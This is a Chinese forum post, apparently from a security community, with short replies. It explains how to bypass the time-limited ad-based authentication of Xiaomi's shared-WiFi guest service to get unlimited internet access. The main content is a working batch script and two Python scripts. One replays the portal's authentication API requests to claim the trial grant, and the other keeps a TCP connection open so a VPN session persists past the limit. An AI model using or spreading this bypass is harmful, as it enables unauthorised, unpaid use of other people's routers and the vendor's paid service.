首页
社区
课程
招聘
[原创]小米共享wifi认证绕过
2020-3-23 15:16 31600

[原创]小米共享wifi认证绕过

2020-3-23 15:16
31600
     因为购买小米路由器后,小米共享wifi是默认开启的,很多人不会设置路由器导致没有将小米共享wifi关闭,所以就会存在一些的漏洞安全问题。针对小米共享wifi的认证系统进行了抓包分析,并根据认证方式寻找到绕过方法,使得可以达到无限上网的目的。因为小米共享wifi存在看广告3分钟体验上网的模式,但这个模式在一小时内只能使用5次,而实践发现如果在这三分钟内一直保持一个tcp连接,那么这个网络就不会断开。那么又存在了一个问题,虽然网络不会断开,但是会让只有这个TCP连接有效,而其他的连接照样会断开。故连接一个VPN便能解决这个问题。只需要连接了VPN后再保持一个TCP连接,那么VPN的连接也会保持。由此得出如下脚本,这个脚本可以自动连接共享wifi并认证,也具有断线自动重连的功能。
@echo off
:restart
rasdial /disconnect               //断开现有VPN连接
netsh wlan disconnect                //断开现有WLAN连接
ping 127.0.0.1 -n 2 >nul                //延时1秒
netsh wlan connect name="WIFI"                //连接无限网络名为WIFI
ping 127.0.0.1 -n 10 >nul                //延时9秒让网络进行初始化
python link.py                //python脚本写的认证程序
ping 127.0.0.1 -n 2 >nul                //延时1秒
rasdial vpn名 用户名 密码                //连接VPN
python keep.py                // python脚本写的创建TCP长连接
goto restart                //自动断线重连
link.py
# coding=utf-8
import requests
import time
import datetime

print("正在启动认证程序")
response0 = requests.get("http://guest.miwifi.com:8999/cgi-bin/luci/api/misns/sns_init")
deviceid=response0.text[26:62]
clientinfo=response0.text[78:142]
times=(int(round(time.time() * 1000))-2000)
url1="http://api.miwifi.com/guest_wifi/portal_config?callback=jQuery210032440425060714295_"+str(times)+"&did="+deviceid+"&client_info="+clientinfo+"&_="+str(times+2)
url3="http://api.miwifi.com/wifirent/api/ad_apply_rent?callback=jsonpCallback&router_id="+deviceid+"&client_info="+clientinfo+"&_="+str(times+8)
response1 = requests.get(url1)
response3 = requests.get(url3)
code=response3.text.find("0")
if code >= 0:
    print("认证成功,等待连接VPN")
else:
    print("失败,请重启连接程序")
keep.py
import requests
import time

client=requests.session()
print("正在保持连接!请勿关闭")
headers = {'Content-Type': 'application/json', 'Connection': 'keep-alive'}
while 1:
    url="http://www.baidu.com"
    r=client.get(url,headers=headers)
    if r.status_code == 200: 
        print ("当前时间为:"+time.strftime("%H:%M:%S", time.localtime())) 
    time.sleep(1)
这样就写出了一个会一键自动连接小米共享wifi,并且会断线重连的脚本了



[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

收藏
点赞1
打赏
分享
最新回复 (7)
雪    币: 3729
活跃值: (3955)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
caolinkai 2020-3-23 15:46
2
0
支持
雪    币: 1006
活跃值: (3275)
能力值: (RANK:15 )
在线值:
发帖
回帖
粉丝
bkhumor 2020-3-23 16:16
3
0
支持大佬 
雪    币: 20
活跃值: (11)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
sqqws 2020-3-25 13:39
4
0
支持
雪    币:
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
mb_bqjyfhnv 2020-5-12 23:56
5
0
怎么用啊
雪    币: 215
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
kexiaopeng 2020-5-13 09:30
6
0
小米快来给楼主发奖。
话说小米共享WIFI,说起来貌似是件好事,就是使用自己的路由器给他人提供一个WIFI信号,对方通过微信红包打个赏,支付一定报酬后,可以使用该WIFI信号上网——对方上了网,自己用闲置的路由器资源挣点小外快,按说应该是皆大欢喜的事情。
雪    币: 4889
活跃值: (2265)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
lionnnn 2020-5-23 13:27
7
0
是不是漏洞已经被堵住了?好像不行呢,3分钟后连接会断掉。
雪    币: 220
活跃值: (15)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
numlk 2020-5-25 09:10
8
0
真的是奇思妙想了。真的棒!
游客
登录 | 注册 方可回帖
返回